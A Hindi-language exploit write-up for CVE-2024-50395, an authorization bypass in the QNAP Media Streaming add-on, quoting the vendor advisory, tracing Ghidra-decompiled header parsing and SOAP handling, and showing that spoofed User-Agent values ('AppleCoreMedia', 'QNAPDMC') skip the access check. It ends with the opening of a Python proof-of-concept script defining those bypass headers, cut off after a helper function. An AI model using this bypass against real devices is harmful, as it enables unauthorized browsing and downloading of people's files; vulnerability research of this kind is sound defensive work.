
CVE-2024-50395 के लिए पायथन एक्सप्लॉयट, QNAP Media Streaming ऐड-ऑन में एक प्राधिकरण बायपास। यह प्रमाणीकरण को बायपास करने और UPnP SOAP अनुरोधों के माध्यम से मीडिया फ़ाइलों को ब्राउज़/डाउनलोड करने के लिए तैयार किए गए User-Agent हेडर का उपयोग करता है।
एक उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बाईपास कमजोरी की सूचना मिली है जो मीडिया स्ट्रीमिंग ऐड-ऑन को प्रभावित करती है। यदि इसका शोषण किया जाता है, तो कमजोरी स्थानीय नेटवर्क हमलावरों को विशेषाधिकार प्राप्त करने की अनुमति दे सकती है। हमने निम्नलिखित संस्करण में कमजोरी को पहले ही ठीक कर दिया है: मीडिया स्ट्रीमिंग ऐड-ऑन 500.1.1.6 (2024/08/02) और बाद के संस्करण

Ghidra में फंक्शन FUN_001293f0, जिसे शायद मूल स्रोत कोड में ParseHttpHeaders फंक्शन कहा जाता है, क्लाइंट द्वारा अनुरोधों से http हेडर डेटा पार्स करता है।
वह फंक्शन “User-Agent” को भी पार्स करता है और मान प्राप्त करता है।
iVar4 = strncasecmp((char *)__s,"User-Agent",10);
if (iVar4 == 0) {
pcVar6 = strstr((char *)__s,"Twonky");
if ((pcVar6 == (char *)0x0) &&
(pcVar6 = strstr((char *)__s,"twonky"), pcVar6 == (char *)0x0)) {
if (((local_138 == g_DefaultClientTypeId) && (uVar5 == 0)) ||
(lVar14 = strstrc(__s,"AppleCoreMedia",0xd), puVar9 = local_120,
lVar14 != 0)) {
ppuVar10 = __ctype_b_loc();
do {
puVar9 = puVar9 + 1;
} while ((*(byte *)((long)*ppuVar10 + (long)(char)*puVar9 * 2 + 1) &
0x20) != 0);
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
if (*(int *)(lVar14 + 0x10) == 1) {
if (*(int *)(lVar14 + 0x14) == 0) {
lVar14 = strstrc(puVar9,pcVar6,0xd);
lVar18 = client_type_patterns;
if (lVar14 != 0) {
pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
puVar20 = (undefined *)0x0;
uVar22 = 5;
local_138 = *(int *)(client_type_patterns + lVar11);
lVar12 = (longlong)local_138;
uVar15 = 0x204;
local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
0x10);
goto LAB_00129ab1;
}
}
उस समय, यदि “User-Agent” मान “AppleCoreMedia” है, तो नीचे दिए गए कोड निष्पादित होते हैं।
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
if (*(int *)(lVar14 + 0x10) == 1) {
if (*(int *)(lVar14 + 0x14) == 0) {
lVar14 = strstrc(puVar9,pcVar6,0xd);
lVar18 = client_type_patterns;
if (lVar14 != 0) {
pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
puVar20 = (undefined *)0x0;
uVar22 = 5;
local_138 = *(int *)(client_type_patterns + lVar11);
lVar12 = (longlong)local_138;
uVar15 = 0x204;
local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
0x10);
goto LAB_00129ab1;
}
}
और फिर LAB_00129aba1 पर जाएँ
LAB_00129ab1:
myDebugUtilWrapperPrint
(uVar22,puVar20,"upnphttp.c",uVar15,"ParseHttpHeaders",pcVar6,puVa r9
,lVar12);
LAB_00129abb:
lVar14 = *(long *)(param_1 + 0x20);
uVar8 = (ulong)*(uint *)(param_1 + 0x30);
}
फिर, नीचे दिए गए कोड निष्पादित होते हैं
LAB_00129627:
for (; (*__s != '\r' || (__s[1] != '\n')); __s = __s + 1) {
}
__s = __s + 2;
} while (__s < (uchar *)((int)uVar8 + lVar14));
}
if (local_138 < 0) {
local_138 = g_DefaultClientTypeId;
}
}
iVar4 = local_138;
pcVar6 = inet_ntoa((in_addr)*(in_addr_t *)(param_1 + 4));
myDebugUtilWrapperPrint
(5,&DAT_001682c3,"upnphttp.c",0x30f,"ParseHttpHeaders",
"finally device ip: %s found clientTypeId = %d\n",pcVar6,iVar4);
local_174 = local_174 | *(uint *)(param_1 + 0x88);
*(int *)(param_1 + 0x38) = local_138;
bVar25 = CARRY8((long)local_138 * 0x20,client_type_mappings);
ppbVar17 = (byte **)((long)local_138 * 0x20 + client_type_mappings);
bVar26 = ppbVar17 == (byte **)0x0;
*(uint *)(param_1 + 0x88) = local_174;
lVar14 = 8;
*(uint *)(param_1 + 0xa4) = local_130;
*(int *)(param_1 + 0xa8) = local_13c;
*(int *)(param_1 + 0xac) = local_134;
pbVar19 = *ppbVar17;
pbVar21 = (byte *)"AppleTV";
/*
omited...
*/
uVar15 = 0;
if ((local_174 & 0x100) == 0) goto LAB_001298c4;
उस कोड पर ध्यान दें जो uVar15 = 0; if ((local_174 & 0x100) == 0) goto LAB_001298c4; है।
यदि User-Agent मान “AppleCoreMedia” है, तो वह कोड निष्पादित हो सकता है।
इसलिए फंक्शन FUN_001293f0 0 मान लौटाता है।
वह फंक्शन FUN_001411f0 में कॉल किया जाता है, जो एक रूटिंग फंक्शन की तरह चलता है; जब वापसी मान 0 होता है, तो
FUN_001411f0 http 401 एररकोड (“Deny Access”) भेजने वाले किसी भी फंक्शन को निष्पादित नहीं करता है।
(फंक्शन FUN_001411f0 को शायद मूल स्रोत कोड में ProcessHTTPSubscribe कहा जाता है।)
क्लाइंट प्रकार "QNAPDMC" फंक्शन “InsertQNAPClientType” में आरंभ किया गया है। (वह फंक्शन main में कॉल किया जाता है)
और उस फंक्शन में, वेरिएबल g_QNAPDMCClientTypeId आरंभ किया जाता है।
जब कोई क्लाइंट http POST विधि का उपयोग करता है, तो मुख्य प्रसंस्करण फंक्शन FUN_0012ee50 है।
uVar21 = 1;
myDebugUtilWrapperPrint(5,0,"upnphttp.c",0x587,"ProcessHttpQuery_upnphttp","HTTP REQUEST: %.*s\n ")
;
/* DAT_001690a2 is "POST" */
lVar11 = 5;
pbVar13 = &DAT_001690a2;
pbVar14 = local_298;
do {
if (lVar11 == 0) break;
lVar11 = lVar11 + -1;
uVar19 = *pbVar13 < *pbVar14;
uVar21 = *pbVar13 == *pbVar14;
pbVar13 = pbVar13 + (ulong)bVar22 * -2 + 1;
pbVar14 = pbVar14 + (ulong)bVar22 * -2 + 1;
} while ((bool)uVar21);
if ((!(bool)uVar19 && !(bool)uVar21) == (bool)uVar19) {
param_1[0xd] = 2;
FUN_0012ee50(param_1);
goto exit;
}
यदि अनुरोध हेडर में “Soapaction” है, तो फंक्शन ExecuteSoapAction निष्पादित होता है।
(*(long *)(param_1 + 0x10) मान FUN_001293f0 में सेट किया गया था)
if ((int)(param_1[10] - param_1[0xc]) < (int)param_1[0xb]) {
param_1[3] = 1;
return (ulong)(param_1[10] - param_1[0xc]);
}
if (*(long *)(param_1 + 0x10) != 0) {
uVar2 = ExecuteSoapAction(param_1,*(long *)(param_1 + 0x10),param_1[0x12]);
return uVar2;
}
ExecuteSoapAction में, यदि (*(int *)(param_1 + 0x38) g_QNAPDMCClientTypeId के समान है, तो हम प्राधिकरण को बायपास कर सकते हैं।
if ((*(int *)(param_1 + 0xac) != 0) && (*(int *)(param_1 + 0x38) != g_QNAPDMCClientTypeId)) {
if (n_lan_addr < 1) {
LAB_0014a27f:
pcVar6 = "Deny Access";
goto LAB_0014a3dd;
}
if (DAT_00398a90 != *(int *)(param_1 + 4)) {
puVar3 = &lan_addr;
do {
if (puVar3 == &lan_addr + (ulong)(n_lan_addr - 1) * 0x1c) goto LAB_0014a27f;
piVar1 = (int *)(puVar3 + 0x2c);
puVar3 = puVar3 + 0x1c;
} while (*piVar1 != *(int *)(param_1 + 4));
}
}
pcVar6 = strchr(param_2,0x23);
वेरिएबल (*(int *)(param_1 + 0x38) FUN_001293f0 में “User-Agent” का उपयोग करके आरंभ किया गया है।
इसलिए हम अनुरोध हेडर “User-Agent: AppleCoreMedia, User-Agent: QNAPDMC” का उपयोग करके प्राधिकरण को बायपास कर सकते हैं।
#!/usr/bin/python3
# POC.py
import requests
import html, os, time
import xml.etree.ElementTree as ET
import argparse
from xml.dom.minidom import parseString
#from tqdm import tqdm
log = lambda x: print("\033[31m[+]" + "\033[37m"+x)
HOST = 'http://{0}:{1}'
session = requests.Session()
auth_bypass_header= {"User-Agent": "AppleCoreMedia"}
auth_post_bypass_header= {"User-Agent": "QNAPDMC"}
def makedirs(path):
if not os.path.exists(path):
os.makedirs(path)